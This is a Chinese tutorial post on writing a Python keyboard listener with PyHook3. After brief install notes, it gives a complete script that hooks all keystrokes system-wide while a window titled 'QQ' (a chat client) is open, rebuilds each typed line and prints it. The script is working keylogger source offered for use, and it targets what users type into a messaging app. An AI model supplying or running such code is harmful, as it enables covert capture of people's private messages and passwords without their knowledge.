python编写键盘监听程序--PyHook3

python编写键盘监听程序–PyHook

  1. pyhook3模块安装
    由于模块底层是使用 windowsAPI 实现的,所以需要先安装pywin32

    pyhook3直接安装会出现很多问题我们直接下载包安装
    pyhook3下载
    python编写键盘监听程序--PyHook3_第1张图片

from win32gui import FindWindow
import PyHook3

def OnKeyboardEvent(event):
    handler = FindWindow(None,'QQ') # 找寻QQ窗口

    if handler != None:
        #print(event.WindowName)
        #data.append(chr(event.Ascii))
        data.append(event.Ascii) #获取键盘数据
        for i in data:
            if i == 13:
                print(event.WindowName)
                line = ''
                for j in data:
                    line = line+chr(j)
                print(line)
                print('\n')
                data.clear()

    return True

hm = PyHook3.HookManager()  # 创建一个HOOK管理对象
hm.KeyDown = OnKeyboardEvent # 绑定键盘处理函数--就是我们创建的函数
hm.HookKeyboard()   # 初始化
data = []
if __name__ == '__main__':

    # 循环监听
    import pythoncom
    pythoncom.PumpMessages()

python编写键盘监听程序--PyHook3_第2张图片

你可能感兴趣的:(python脚本,python,系统安全,安全)